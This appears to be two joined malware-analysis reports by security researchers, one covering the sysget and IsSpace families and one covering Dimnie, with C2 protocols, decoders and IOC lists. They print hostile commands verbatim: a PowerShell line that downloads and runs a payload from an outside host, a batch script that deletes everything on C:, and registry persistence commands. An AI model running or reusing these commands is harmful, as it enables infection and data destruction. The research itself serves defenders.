test.txt\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[TRUNCATED]\x 00\x00\x00file contents If the goto right command is used, the malware will make a subsequent request to the following URI. The cache variable holds the unique identifier that was provided in the goto right command. /index.php?type=goto&pageinfo=myid47386&cache=identifier Once the file contents are obtained, they are written to the specified filename in the %STARTUP% folder. When a raw command is received, the malware will upload the results to the following URI via a POST request: /index.php?type=register An overview of the network communications exhibited by sysget version 2 can be seen in the figure below. 14/23 15/23 Figure 8 Sysget version 2 command and control flow Sysget v3 Analysis Some of the biggest changes witnessed in version 3 of sysget includes numerous anti-debug and anti-vm detections added, as well as the encryption of the URIs used for network communication. When the malware initially executes, it performs the following checks to ensure it is not being debugged and not running in a sandbox or virtualized environment. Should these checks return false, the malware proceeds to enter its installation routine. The malware originally copies itself to a temp file in the %TEMP% directory with a filename prefix of . It proceeds to append 4194304 bytes of randomly chosen data to the end of this file. The increased filesize may have been added by the author in an attempt to thwart sandboxes that impose filesize limits on what is saved and/or processed. Finally, the malware copies the original file from the tmp path to the %STARTUP%/winlogon.exe path using the same technique witnessed in version 2. Sysget then writes a batch script in the %TEMP% folder with the following contents, cleaning up the original files and spawning the newly written winlogon.exe executable: @echo off timeout 1 for /f %%i in ('tasklist /FI "IMAGENAME eq [original_executable_name]" ^| find /v /c ""' ) do set YO=%%i if %%YO%%==4 goto :t del /F "[original_executable_path]" del /F "[tmp_file]" start /B cmd /c "[startup_winlogon.exe]" del /F "[self]" exit After installation, sysget will attempt to read the same %APPDATA%/vklCen5.tmp file as witnessed in the previous variant. A number of strings within the malware, including the 734thfg9ih key used to encrypt this file, have been obfuscated via a single-byte XOR of 0x5F. Similar to previous versions, should this vklCen5.tmp file not be present on the victim machine, it will make an external HTTP request to retrieve the necessary information. The following request is made by the malware. Readers will notice that the URI has changed from previous versions in a number of ways. This version of sysget looks to always make requests to 1.php, which is hardcoded within the malware itself. Additionally, all HTTP URIs in this version of sysget are encrypted. The initial GET request made to retrieve the victim identifier and unique key is encrypted with a key of Cra%hello-12sW . The subsequent response containing this information is then decrypted using a key of aliado75496 , which is consistent with previous versions. 16/23 /1.php?K+50lkzq7OtigRtWY7Z5DwkmxRhFd5n3UXyH+Flfa0S8f5h3nl6XBDMa6a3IbDiPQqW SwZh7lQRmIPLlC8Wmfr8cGv7raGEV160r73FJjnOfyJPLEKWAIyJnfPZhHdGapA6tfwfwj24TN 4QbBrMJkVCLPPZoI4HNtdDEo6G3ujjyvkpWnGQnRBi6DzylNrMypV/K6Ft32dsMmmO52q4IdQ== HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: gtoimage.com When the URI above is base64-decoded and subsequently decrypted, we see the following: index.php?type=read&id=692fdc3c7b2c310fc017e4af335b8dc8&pageinfo=jp&lang=utf-8 This URI is consistent with the previous sysget variant. It would seem the authors simply have added this layer of encryption to hinder efforts to block the malware via network-based detections. After this initial request to retrieve the victim identifier and unique key, sysget enters its command and control loop. This process is consistent with the previous version, but simply has the extra layer of encryption used for the URIs. Sysget v4 Analysis The fourth variant of sysget is nearly identical to the third variant. However, the main difference lies in the URIs used for network communication. In addition to the expected encryption of the URIs, this variant also mangles the base64 encoding that is performed afterwards. The following Python script may be used to de-obfuscate the base64 URI found in this variant: 17/23 import base64 URI Request: /5.php?62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0 AMo+rT4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeR+ BGFsc3wtMhOWzXfithXYeCKnjh1O7pXsYqyKqfl=HpVzs4YXZb=UQY=BNEnr/77jW5JTLNI4aed 99 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 Host: www.sanseitime.com uri_string = "62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0AMo+rT 4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeR+BGFsc3 wtMhOWzXfithXYeCKnjh1O7pXsYqyKqfl=HpVzs4YXZb=UQY=BNEnr/77jW5JTLNI4aed99" b64_string = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" prefix_int = int(uri_string[0:2]) out = "" for u in uri_string[2:]: ind = b64_string.index(u) - prefix_int out += b64_string[ind] decoded = base64.b64decode(out) Additionally, the C2 URI changes in this variant, from 1.php to 5.php IsSpace Analysis When initially run, IsSpace will create a unique event to ensure a single instance of the malware is running at a given time. This event name appears to be unique per the sample, as multiple samples contained unique event names. The following event names have been observed in the samples that were analyzed: e6al69MS5iP v485ILa3q5z IsSpace proceeds to iterate over the running processes on the system, seeking out the following two process substrings: uiSeAgnt avp.exe The uiSeAgnt string may be related to Trend Micro s solutions, while avp.exe most likely is related to Kaspersky anti-malware product. In the event uiSeAgnt is identified, the malware will enter its installation routine if not already running as bfsuc.exe and proceeds to exit afterwards. Should avp.exe be identified, the malware enters an infinite sleep loop until a mouse click occurs. After this takes place, the malware proceeds as normal. 18/23 The malware then determines if it is running under Windows XP. In the event that it is, it will make a HTTP GET request to www.bing.com, presumably to ensure network connectivity. Figure 9 IsSpace connecting to www.bing.com If the malware is not running on Windows XP, it will attempt to obtain and decrypt any basic authentication credentials from Internet Explorer. This information is used in subsequent HTTP requests in the event a 407 (Proxy Authentication Required) or 401 (Unauthorized) response code is received during network communication. IsSpace will then enter its installation routine, where it will first copy itself to the %LOCALAPPDATA% folder with a name of bfsuc.exe . It then sets the proper registry key for persistence by executing the following PowerShell command: C:\Windows\system32\cmd.exe /C Powershell.exe New-ItemProperty -Path HKCU:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run -Name Identity PropertyType String -Value c:\users\josh grunzweig\appdata\local\bfsuc.exe -force The malware then makes an initial HTTP POST request to the configured C2 server. It will make this request to the /news/Senmsip.asp URI. The POST data is XORed against a key of \x35\x8E\x9D\x7A , which is consistent with previous versions of IsSpace and NFlog. Decrypted, the POST data reads 01234567890 . The C2 server in turn will respond with the victim s external IP address. Figure 10 Initial IsSpace beacon IsSpace then spawns two threads that will make HTTP requests to the following URIs: /news/Sennw.asp?rsv_info=[MAC_ADDRESS] /news/Sentire.asp?rsv_info=[MAC_ADDRESS] The Sennw.asp POST requests that are made contain collected victim information. They, like other information sent across the network, are encrypted using the previously mentioned 4-byte XOR key. When decrypted, we are provided with information such as the following: 19/23 60-F8-1D-CC-2F-CF#%#172.16.95.1#%#172.16.95.186#%#WINLJLV2NKIOKP#%#Win7#%#English(US)#%#2016-12-20 16:27:12#%#Active#%#xp20160628#%#IsAdmins#%#False The information, delimited via , is as follows: Value Description 60-F8-1D-CC-2F-CF MAC address 172.16.95.1 External IP collected previously 172.16.95.186 Internal IP address WIN-LJLV2NKIOKP Hostname Win7 Windows version English(US) Language 2016-12-20 16:27:12 Timestamp Active Malware status. May also be Sleep xp20160628 Potential campaign identifier IsAdmins / False User admin status The malware is expected to return one of the following two responses to this HTTP request: Active Slient (Note the typo) In the event the response of Slient is received, the malware will stop sending out HTTP requests to the Sentire.asp URI. Conversely, if the malware is set to the Sleep status and the Active response is received, it will begin the Sentire.asp requests once more. The requests to Sentire.asp act as the main C2 loop, requesting commands from the remote server. The commands are consistent with previously observed instances of IsSpace, however, the URIs have been modified. Command Description Response URI Executes command Sentrl.asp Browse List specified directory Senjb.asp UploadFile Upload file Sensp.asp DownLoad Download file Senwhr.asp 20/23 DelFile Delete file DragonOK Indicators Malicious RTF Documents 020f5692b9989080b328833260e31df7aa4d58c138384262b9d7fb6d221e3673 0d389a7b7dbdfdffcc9b503d0eaf3699f94d7a3135e46c65a4fa0f79ea263b40 52985c6369571793bc547fc9443a96166e372d0960267df298221cd841b69545 785398fedd12935e0ae5ac9c1d188f4868b2dc19fb4c2a13dab0887b8b3e220d 941bcf18f7e841ea35778c971fc968317bee09f93ed314ce40815356a303a3ec ba6f3581c5bcdbe7f23de2d8034aaf2f6dc0e67ff2cfe6e53cfb4d2007547b30 df9f33892e476458c74a571a9541aebe8f8d18b16278f594a6723f813a147552 925880cc833228999ea06bd37dd2073784ab234ea00c5c4d55f130fe43a0940b 3e4937d06ac86078f96f07117861c734a5fdb5ea307fe7e19ef6458f91c14264 16204cec5731f64be03ea766b75b8997aad14d4eb61b7248aa35fa6b1873398b 64f22de7a1e2726a2c649de133fad2c6ad089236db1006ce3d247c39ee40f578 c3b5503a0a89fd2eae9a77ff92eef69f08d68b963140b0a31721bb4960545e07 d227cf53b29bf0a286e9c4a1e84a7d70b63a3c0ea81a6483fdfabd8fbccd5206 9190b1d3383c68bd0153c926e0ff3716b714eac81f6d125254054b277e3451fe d321c8005be96a13affeb997b881eaba3e70167a7f0aa5d68eeb4d84520cca02 d38de4250761cb877dfec40344c1642542ca41331af50fa914a9597f8cc0ee9b 5a94e5736ead7ea46dbc95f11a3ca10ae86c8ae381d813975d71feddf14fc07a bbdc9f02e7844817def006b9bdef1698412efb6e66346454307681134046e595 IsSpace 12d88fbd4960b7caf8d1a4b96868138e67db40d8642a4c21c0279066aae2f429 1a6e3cd2394814a72cdf8db55bc3f781f7e1335b31f77bffc1336f0d11cf23d1 C2 Domains www.dppline[.]org www.matrens[.]top C2 Domains europe.wikaba[.]com russiaboy.ssl443[.]org cool.skywave[.]top Sysget Version 2 82f028e147471e6f8c8d283dbfaba3f5629eda458d818e1a4ddb8c9337fc0118 C2 Domains newtw2016.kr44.78host[.]com Sysget Version 3 02fc713c1b2c607dff4fc6c4797b39e42ee576578f6af97295495b9b172158b9 a0b0a49da119d971fa3cf2f5647ccc9fe7e1ff989ac31dfb4543f0cb269ed105 21/23 b49cb2c51bc2cc5e48585b9b0f7dd7ff2599a086a4219708b102890ab3f4daf3 b8f9c1766ccd4557383b6643b060c15545e5f657d87d82310ed1989679dcfac4 d75433833a3a4453fe35aaf57d8699d90d9c4a933a8457f8cc37c86859f62d1e 685076708ace9fda65845e4cbb673fdd6f11488bf0f6fd5216a18d9eaaea1bbc 7fcc86ebca81deab264418f7ae5017a6f79967ccebe8bc866efa14920e4fd909 c5c3e8caffd1d416c1fd8947e60662d82638a3508dbcf95a6c9a2571263bdcef C2 Domains gtoimage[.]com trend.gogolekr[.]com Additional Indicators Sysget Version 2 a768d63f8127a8f87ff7fa8a7e4ca1f7e7a88649fe268cf1bd306be9d8069564 2bf737f147e761586df1c421584dba350fd865cb14113eee084f9d673a61ee67 2c7c9fd09a0a783badfb42a491ccec159207ee7f65444088ba8e7c8e617ab5a5 d91439c8faa0c42162ea9a6d3c282d0e76641a31f5f2fbc58315df9c0b90059c 89d8d52c09dc09aeb41b1e9fafeacf1c038912d8c6b75ad4ef556707b15641ff 6c1d56cb16f6342e01f4ebfc063db2244aef16d0a248332348dcdb31244d32f2 9c66232061fbb08088a3b680b4d0bffbbce1ce01d0ce5f0c4d8bf17f42d45682 b138ea2e9b78568ebd9d71c1eb0e31f9cf8bc41cd5919f6522ef498ffcc8762a 8830400c6a6d956309ac9bcbcceee2d27ba8c89f9d89f4484aba7d5680791459 bda66f13202cef8cfb23f36ac0aee5c23f82930e1f38e81ba807f5c4e46128e3 e8197e711018afd25a32dc364a9155c7e2a0c98b3924dc5f67b8cd2df16406ff e9c0838e2433a86bc2dec56378bd59627d6332ffb1aec252f5117938d00d9f74 c63685b2497e384885e4b4649428d665692e8e6981dad688e8543110174f853b 2c9c2bfea64dd95495703fcec59ad4cf74c43056b40ed96d40db9b919cfd050b 94850525ea9467ae772c657c3b8c72663eaa28b2c995b22a12b09e4cacecad6d e8bd20e3d8491497ca2d6878b41fb7be67abb97ee272ef8b6735faa6acd67777 C2 Domains hello.newtaiwan[.]top bullskingdom[.]com mail.googleusa[.]top www.modelinfos[.]com modelinfos[.]com www.sanspozone[.]com Sysget Version 3 f9a1607cdcfd83555d2b3f4f539d3dc301d307e462a999484d7adb1f1eb9edf6 7f286fbc39746aa8feeefc88006bedd83a3176d2235e381354c3ea24fe33d21c 3b554ef43d9f3e70ead605ed38b5e66c0b8c0b9fc8df16997defa8e52824a2a6 8d7406f4d5759574416b8e443dd9d9cd6e24b5e39b1f5bc679e4a1ad54d409c6 edf32cb7aad7ae6f545f7d9f11e14a8899ab0ac51b224ed36cfc0d367daf5785 db19b9062063302d938bae51fe332f49134dc2e1947d980c82e778e9d7ca0616 cde217acb6cfe20948b37b16769164c5f384452e802759eaabcfa1946ea9e18b 9bee4f8674ee067159675f66ca8d940282b55fd1f71b8bc2aa32795fd55cd17e 22/23 39539eb972de4e5fe525b3226f679c94476dfc88b2032c70e5d7b66058619075 c45145ca9af7f21fff95c52726ff82595c9845b8e9d0dbf93ffe98b7a6fa8ee9 55325e9fccbdada83279e915e5aeb60d7b117f154fa2c3a38ec686d2552b1ebc 2c7d29da1b5468b49a4aef31eee6757dc5c3627bf2fbfb8e01dec12aed34736a 16dc75cf16d582eac6cbbe67b048a31fffa2fb525a76c5794dad7d751793c410 91eee738f99174461b9a4085ea70ddafc0997790e7e5d6d07704dcbbc72dc8bf 4a702ffbf01913cc3981d9802c075160dfd1beed3ba0681153d17623f781f53f e8bed52c58759e715d2a00bdb8a69e7e93def8d4f83d95986da21a549f4d51c5 ed5598716de2129915f427065f0a22f425f4087584e1fa176c6de6ad141889d1 adc86af1c03081482fe9ba9d8a8ae875d7217433164d54e40603e422451a2b90 f0540148768247ed001f3894cdfa52d8e40b17d38df0f97e040a49baa3f5c92e ce38a6e4f15b9986474c5d7c8a6e8b0826330f0135e1da087aae9eab60ea667a 5c4e98922e6981cf2a801674d7e79a573ebcdc9ebc875ef929511f585b9c4781 4880b43ddc8466d910b7b49b6779970c38ce095983cad110fa924b41f249f898 76b6f0359a3380943fece13033b79dc586706b8348a270ac71b589a5fd5790a4 feab16570c11ec713cfa952457502c7edd21643129c846609cb13cdc0ae4671c ed9ca7c06aac7525da5af3d1806b32eeb1c1d8f14cc31382ca52a14ed62f00a9 a3aa4b3b3471b0bb5b2f61cbc8a94edef4988436e0bc55e9503173c836fb57a3 29ee56ca66187ece41c1525ad27969a4b850a45815057a31acee7cc76e970909 65201380443210518621da9feb45756eac31213a21a81583cc158f8f65d50626 cccb906d06aef1e33d12b8b09c233e575482228d40ac17232acad2557da4e53b C2 Domains gtoimage[.]com trend.gogolekr[.com www.bestfiles[.]top Sysget Version 4 2ac8bc678e5fa3e87d34aee06d2cd56ab8e0ed04cd236cc9d4c5e0fa6d303fa3 8dc539e3d37ccd522c594dc7378c32e5b9deeffb37e7a7a5e9a96b9a23df398e C2 Domains www.sanseitime[.]com 23/23 Dimnie: Hiding in Plain Sight researchcenter.paloaltonetworks.com /2017/03/unit42-dimnie-hiding-plain-sight/ By Brandon Levene , Dominik Reichel and Esmid Idrizovic 3/28/2017 A note to readers: The code samples included within this blog post may trigger alerts from your security software. Please note that this does not indicate an infection or an attack; rather, it is a notification that the code could be malicious if it were live. Introduction In mid-January of 2017 Unit 42 researchers became aware of reports of open-source developers receiving malicious emails. Multiple owners of Github repositories received phishing emails like the one below: Hello, My name is Adam Buchbinder, I saw your GitHub repo and i'm pretty amazed. The point is that i have an open position in my company and looks like you are a good fit. Please take a look into attachment to find details about company and job. Dont hesitate to contact me directly via email highlighted in the document below. Thanks and regards, Adam. Though there were multiple waves of messages following a similar tactic, each one carried the same malicious .doc file as an attachment (SHA256: 6b9af3290723f081e090cd29113c8755696dca88f06d072dd75bf5560ca9408e). This file contained embedded macro code that executed a commonly observed PowerShell command to download and execute a file. Figure 1. The attackers used a common technique to try to avoid static detection by introducing characters which the Windows shell will ignore but static engines will typically see as part of the string. A more readable version of the PowerShell code is shown below: cmd.exe /c "powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('hxxp://nicklovegrove.co[.]uk/wpcontent/margin2601_onechat_word.exe','%appdata%.exe');start-process '%appdata%.exe'" On initial inspection, everything appears to follow the same formula as many traditional malware campaigns: e-mail lure, malicious attachment, macro, PowerShell downloader, and finally a binary payload (SHA256: 3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22). Examining the payload s communications caused us to raise our eyebrows. Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years. Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms. The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities. Each module is injected into the memory of core Windows processes, further complicating analysis. During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign. 1/35 Hidden Requests Let us dive right in and have a look at a typical HTTP request from Dimnie to its command and control infrastructure. Figure 2. Initial HTTP GET request from the compromised client and the server s reply. The HTTP payload is truncated in this image. Does this malware use a (now-defunct) Google service to aid its initial phone home? Not quite. Examining the HTTP request, this appears to be an HTTP Proxy request, as described by RFC2616: The absoluteURI form is REQUIRED when the request is being made to a proxy. The proxy is requested to forward the request or service it from a valid cache, and return the response. Note that the proxy MAY forward the request on to another proxy or directly to the serverspecified by the absoluteURI. In order to avoid request loops, a proxy MUST be able to recognize all of its server names, including any aliases, local variations, and the numeric IP address. An example Request-Line would be:GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1To allow for transition to absoluteURIs in all requests in future versions of HTTP, all HTTP/1.1 servers MUST accept the absoluteURI form in requests, even though HTTP/1.1 clients will only generate them in requests to proxies. Dimnie uses this feature to create a supposedly legit HTTP proxy request to a Google service. However, the Google PageRank service (toolbarqueries.google.com) has been slowly phased out since 2013 and as of 2016 is no longer open to the public. Therefore, the absolute URI in the HTTP request is for a non-existent service and the server is not acting as a proxy. This seemingly RFC compliant request is merely camouflage. We know what it isn t, so we will dive deeper to figure out what is happening underneath the camouflage layer. Start by having a look at the DNS request that immediately preceded this HTTP GET request. 2/35 Figure 3. DNS request issued prior to the HTTP request above. It looks pretty normal, but we can see an authoritative nameserver returning an IP address, 176.9.81[.]4, which is highlighted in the image below. Figure 4. Nameserver responds to a Type A query with a valid response. While it may not seem so at first glance, this DNS query is related to the initial GET request to Google. Below is the raw hex of the IP header of the HTTP request above: Figure 5. Raw Hex of the IP Header from the HTTP GET request for Dimnie s initial phone home. The answer (176.9.81[.]4) from the initial DNS request for onechat[.]pw is used as the destination IP for the follow up HTTP request that appears to connect to toolbarqueries.google.com. Sending the request to an entirely different server is not complicated to achieve, but how many analysts would simply see a DNS request with no [apparent] related subsequent traffic? That is precisely what Dimnie is relying upon to evade detections. 3/35 What the GET? Since we have established the HTTP GET request to be largely falsified for camouflage purposes, we can now proceed to pick apart the initial outbound HTTP traffic. The contents of the HTTP GET parameter are reproduced below: GET http://toolbarqueries.google.com/search?sourceid=navclient-ff&features=Rank&client=navclient-autoff&ch=fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm&q=info:google.com HTTP/1.1 This GET request contains a single piece of data used by the malware: the contents of the parameter which is base64 encoded. fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm Decoding the parameter yields us a AES key which Dimnie uses to decrypt payloads. The attacker uses AES 256 in ECB mode to encrypt payloads which are push to a compromised host and decrypted. The code below illustrates, in Python, the method we used to derive this key. >>> import binascii >>> import base64 >>> from Crypto.Cipher import AES >>> a = "fYQAcgUGKQ04yy+39O6k0IxaeU9Bgw81C6ft2+OPISgD8VPCj5hkCilXUZraPNCm" >>> b = base64.b64decode(a) >>> decryptor = AES.new('\0' *32, AES.MODE_ECB) >>> c = decryptor.decrypt(b) >>> binascii.hexlify(c) 'cda59f1670cf48bf0000000011217350b14b3f2d4c6001006fb3b0fb00000000adf1de43000000000000000000000000' >>> key = c[4:8] + ('\0' * 28) >>> binascii.hexlify(key) '70cf48bf00000000000000000000000000000000000000000000000000000000' Besides the HTTP payload, which is an AES 256 ECB encrypted PE file (after decrypting, SHA256: 6173d2f1d7bdea5f6fe199d39bbefa575230c5a6c52b08925ff4693106518adf), the server reply contains only one other HTTP header that seems to be used by the malware; the Cookie value sent back from the C2 server. This Cookie is a 48 byte, base64 encoded, AES 256 ECB encrypted series of UINT32 values pertaining to the payload (when requested) or outbound data (HTTP POSTs, see next section) as can be seen below (comments appended after //.) struct DimnieInformation UINT32 dwUnknown1; // 0x00: UINT32 dwAesKey; // 0x04: Final AES encryption key is: Key + (28 * '\0') UINT32 dwUnknown3; // 0x08: Not used for encryption. UINT32 dwUnknown4; // 0x0C: UINT32 dwUnknown5; // 0x10: Can be subtracted with dwUnknown1 if higher than 0 but unknown use. UINT32 dwUnknown6; // 0x14: UINT32 dwKey2; // 0x18: Not used for encryption. UINT32 dwFileSize; // 0x1C: File size if file has been downloaded. UINT32 dwUnknown9 // 0x20: Can be subtracted with dwUnknown1 if higher than 0 but unknown use. UINT32 dwType; // 0x24: Type of sent/received data. UINT32 dwCRC; // 0x28: CRC of the received data. UINT32 dwModuleID; // 0x2C: Module ID of the downloaded module Here is a list of possible types which may be found at offset 0x24: Value Description 4/35 0x00000000 Main PE module received. 0x00000001 16 byte information sent to C2, probably PING/PONG. 0x00000002 PE Module received. 0x000003a4 Get module. 0x000003a6 Get main module. 0x00002000 Running process. 0x00003000 PC Information (Computer name, language, network card, 0x00038000 Keylogger data 0x00058000 Screenshots in PNG. 0x00018000 Unknown. 0x00098000 Unknown. 0x00418000 Unknown. 0x00118000 Unknown. 0x00218000 Unknown. 0x00818000 Unknown. 0x02000000 Unknown. The values contain a preset, defined size for the payload as well as an expected CRC32 value. Effectively, the Cookie parameter is used to verify the payload s integrity during the module downloader portion of the malware s lifecycle. When the Cookie value is included in later C2 traffic, it is primarily used to identify the type of data being sent back to the server and the reporting module. More Camouflage Data exfiltration by the associated modules is performed using HTTP POST requests to another Google domain, gmail[.]com. However, just like the module downloader portion of the malware, these HTTP requests are hardcoded to be sent to an attacker controlled server. Again, Dimnie attempts to blend in by looking at least somewhat legitimate, although the data exfiltration traffic is far less convincing than that of the module downloads. 5/35 Figure 6. HTTP POST request with encrypted data. Once again, the data is appended to an image header and encrypted using AES 256 in ECB mode. The Cookie value follows the same structure provided in the previous section. This initial push contains system information as can be seen in the decrypted output below (data enclosed in brackets has been edited): [netbios name] WORKGROUP HomeGroupUser$ [Hostname] [Language] 10.0.2.15 (08-00-27-D9-83-51) 'Intel(R) PRO/1000 MT-Desktopadapter' PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18 Administrator (0x10203) [Username] (0x10223) HomeGroupUser$ (0x10201) [Hostname] (0x10221) During our analysis, we identified follow on POST requests containing screenshots of the compromised desktop and process activity lists which were encrypted and appended to a false JPEG header as described previously. 6/35 Figure 7. Process activity list, post-decryption. Decoding the Traffic Now that we understand how Dimnie retrieves its modules and how it protects them, we can use the derived AES key to decode the observed payloads from our PCAP data. The payloads themselves are never written to disk as they are downloaded and subsequently injected directly into memory. The module ID is stored at offset 0x2C as a 32 byte value in the Cookie field, however to calculate the true module ID we must use the following formula using the key found at offset 0x04 in the cookie: uModuleID = uID uKey. Below is a table of observed module IDs, their functions, and type of information as referenced by the Cookie Header (at offset 0x24): Module Function Information Value 0x20001 Main module: downloads other modules and injects them into memory. 0x20002 DLL module which exports SvcMain and is injected into another process. 0x20003 Contains 58 bytes in front of the DOS header. Purpose unknown. Appears to be N/A a copy of the main module. 0x20004 Extracts PC information and sends it back to C2. 0x03000 0x20005 Enumerates running processes and sends the list back to the C2. 0x2000 0x20006 Module that can logkey strokes, take screenshots, interact with smartcards and more. Uses RegisterRawInputDevices/GetRawInputData for logging keys. 0x38000, 0x418000, 0x818000, 0x98000, 0x118000, 0x218000, 0x58000 0x20007 Keylogger module which has two PE files appended. Both PE files contain the same functionality but are different architecture (x86 and x64). It sends back the logged keys and clipboard data to the C2 0x38000 0x20008 Module that can take screenshots and send them back to the C2. 0x58000 0x20009 Self-destruct module which deletes all files on the C:\ Drive. 0x02000000 The self-destruct module, 0x20009, drops and executes the following batch script: 7/35 @echo off Title System need to reboot computer! color 0c Echo Auto Starting in 5 seconds @ping 127.0.0.1 -n 5 -w 1000 > nul @ping 127.0.0.1 -n %1% -w 1000 > nul Color 0e Echo delete disk C del C:\\ /s /q @ping 127.0.0.1 -n 3 -w 1000 > nul @ping 127.0.0.1 -n %1% -w 1000 > nul color 0c Echo Remove directory Rd C:\\ /s /q @ping 127.0.0.1 -n 3 -w 1000 > nul @ping 127.0.0.1 -n %1% -w 1000 > nul Msg * \SYSTEM ERROR!HARDDRIVE IS OUT OF ORDER!\; The primary purpose of the modules we ve observed observed is information stealing and reconnaissance. It should be noted that Dimnie s modular framework allows for a variety of capabilities to be accessed by its operators, thus the modules observed during the analyzed campaign may not encompass all available functionality. Conclusion The global reach of the January 2017 campaign which we analyzed in this post is a marked departure from previous Dimnie targeting tactics. Multiple factors have contributed to Dimnie s relatively long-lived existence. By masking upload and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders assumptions about what normal traffic looks like. This blending in tactic, combined with a prior penchant for targeting systems used by Russian speakers, likely allowed Dimnie to remain relatively unknown. Customers are protected by IPS, Dimnie is detected as malware by Wildfire, and Autofocus customers can see related samples using the Dimnie tag. We are also including IOCs for this malware family dating back to 2014 which include domains from DNS lookups (Appendix A) and dropper hashes (Appendix B). IOCs specifically mentioned in this post are included in the next section. IOCs Mentioned in this Report ve purposefully omitted legitimate domains and IPs from this listing. Initial Phishing Email: b70a17d21ec6552e884f01db47b4e0aa08776a6542883d144b9836d5c9912065 Malicious .doc file: 6b9af3290723f081e090cd29113c8755696dca88f06d072dd75bf5560ca9408e, Dimnie loader: 3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22, Sample decrypted main module: 6173d2f1d7bdea5f6fe199d39bbefa575230c5a6c52b08925ff4693106518adf Appendix A: Associated SHA256 Hashes 15895f99011f466f2ddfa8345478b2387762d98eecf2ada51ad7f70618406ba1 7d8ec31d9d98802e9b1ebc49c4b300fa901934b3d2d602fa36cc5d7c5d24b3bc 046bc7347a66c977a89ba693307f881b0c3568314bb7ffd952c8705a2ff9bf9d 8/35 1b5e57fa264b2ce145b39f9fc2279b21f6b212aeca8eaa27f68cdcdbdef1900f 4b10cc374ed9e2c69231fcfa1b1d96496785ecf148f9445192f24385068e7b0c e47ce23ec14114d3abeba090baa77b9bec876f947df67076dddb9087387735c7 d99c699e399afcd9e5abcff8c9b4a40af3e428f0c452c646653c79ec1a623bba b6dc94f75ea4d2b46cf41079b1ac4cf48fe7786019396f379822fe6e21c9929d a4df4a25e847d95a86a257bef7d2b349e9908bec37f0199f9f217d9cc0e28564 caba117fdf3ca61b1b17121adb4546e829df5426ab8944e5c4672f4a8619d0fe 3ffec5efb775c7d977f1e0ad1e8a51a111394e0ed113f58809fc8441b2c0f731 3d94881f0125093576dd01cd54cfd937cdca2b3050ad9aa4c5db2514d9aa686c 1d06464bafd24c228fd66df9cbf8feceda1346cef8648c2cd87cf617547bbe1e 9c403782571042fe2e3efb3acc35a26867956235a2a9472798bd664b65698c3a d0eaec396ae11110dc4f51f3340d4735790876510de438f8a161577c7aa72d1e 222beafedbb604d200099cee657505f1d11b371403c7c9c12103adf28a561289 0f76bcda668095a8d2fe7a1282d463dcf04201e1c5a35856f117703bcd9428ef c4bc691d7b8a16ff68ed338878451d1ba681aa181922cabd0b999b935ded673e 67a1dead18afc43c69a97de3e39bd84dec91df751a45bbda7ac5874f746c147c 7c4c2c898f611fd12a244822f5a2080da51126713d4ed1b3c950aa0ba6f92d93 67df79166bb258e77959c326c21563ea41f3f119d8e8486043efb83c868e636f 5661e7c23ed6058157b39ed29fa37690148d377b1faa7c7b89024daf0ef7e904 bbe7abc992928a45b618fbd7fbdd472ec3e4a47126f21ec38ad8257afe0c091f 05e30073cbd18b0ff2cfeab307e2e8cd2226d921a1872f17fcc312fc601fa93e 4a25bf18783ad32e08aaff0707d8fdae88647da4e0bfd22d83850e0dfa4ab148 3109724914f0eec8ee5167b15e43fc71e58106983ad0d2137c96239d5b25ad7c c333173687879f3a6387f5afd915d9a4f042ffeb96f4cdf4514a5433de558f6f 071d91e67c42811d96d15a4a6dff740cc5d704ca352d9bc03778a2a6abd552f4 d884ae7b4f88973d2fb763b00c41171353310696e66dcde5733558ca68cd68d5 3944c7586e17399051785e1ae0311f4b98e74825291249a784428a64a80240e5 f76fe0b83e45a77ebc36ab12a27a5cf49be74fb154c51cb793e946c45bc4e12f 9f2367e31987327ef5710f7dcbfa089382c1967247c5ac1e2342e1e10e495fb5 5f45450f3342fd4f7f08651d58f775d47a25a44758039a577811eed6c094dfa7 824b93c4662cdc072488cf82d34569dd27d6f1fced5cb83f045825ed2e4b463c 9/35 441b1db0595565ac059552790e96524851843b22787238291f286b16c9c951d4 ba6022401ed257f82b7107319a7ec928044acd3dcb60dfab1ac7df2823ffef25 0a5c9818aa579082af224abc02dad60d77f4ded6533d143100b7744b58e289a2 871cefc4f9faf8658804dbe8332e3b511172ea29545e13c303ae1809edf8a0f6 bf3869e420ac8686b9ae3b14d679f45b34909ff998887f9fd0c8126853d6a4ed 8eef688751eed591bedd2fcc18d32bb84df11fdda62a16c963561aeeae56f6f4 c18775abf5c992cbd9b3b0c401fb0ee66bbe092e44b0b1b3cdd17fdc353d825e 